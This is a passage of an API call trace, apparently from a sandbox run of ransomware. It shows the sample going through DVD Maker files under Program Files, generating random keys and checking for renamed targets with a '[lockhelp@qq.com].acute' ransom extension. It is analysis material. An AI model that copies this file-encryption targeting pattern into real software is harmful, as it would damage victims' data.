dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.569] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5025) returned 1 [0274.569] CloseHandle (hObject=0x30c) returned 1 [0274.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png")) returned 0x20 [0274.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.569] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.571] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3118) returned 1 [0274.571] CloseHandle (hObject=0x30c) returned 1 [0274.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.572] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.572] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4955) returned 1 [0274.572] CloseHandle (hObject=0x30c) returned 1 [0274.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png")) returned 0x20 [0274.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.572] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.572] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3081) returned 1 [0274.572] CloseHandle (hObject=0x30c) returned 1 [0274.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.573] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.573] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=543910) returned 1 [0274.573] CloseHandle (hObject=0x30c) returned 1 [0274.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv")) returned 0x20 [0274.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.573] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.573] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=542466) returned 1 [0274.573] CloseHandle (hObject=0x30c) returned 1 [0274.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv")) returned 0x20 [0274.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.574] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.574] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.574] CloseHandle (hObject=0x30c) returned 1 [0274.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp")) returned 0x20 [0274.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.574] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.575] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3462) returned 1 [0274.575] CloseHandle (hObject=0x30c) returned 1 [0274.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png")) returned 0x20 [0274.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.575] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.575] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3390) returned 1 [0274.575] CloseHandle (hObject=0x30c) returned 1 [0274.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png")) returned 0x20 [0274.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.575] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.576] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3214) returned 1 [0274.576] CloseHandle (hObject=0x30c) returned 1 [0274.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png")) returned 0x20 [0274.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.579] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.579] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4570) returned 1 [0274.579] CloseHandle (hObject=0x30c) returned 1 [0274.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png")) returned 0x20 [0274.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.580] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.580] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2820) returned 1 [0274.580] CloseHandle (hObject=0x30c) returned 1 [0274.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png")) returned 0x20 [0274.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.580] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.580] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5088) returned 1 [0274.580] CloseHandle (hObject=0x30c) returned 1 [0274.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png")) returned 0x20 [0274.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.580] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.581] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3130) returned 1 [0274.581] CloseHandle (hObject=0x30c) returned 1 [0274.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.581] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.581] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5025) returned 1 [0274.581] CloseHandle (hObject=0x30c) returned 1 [0274.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png")) returned 0x20 [0274.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.581] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.582] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3118) returned 1 [0274.582] CloseHandle (hObject=0x30c) returned 1 [0274.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd 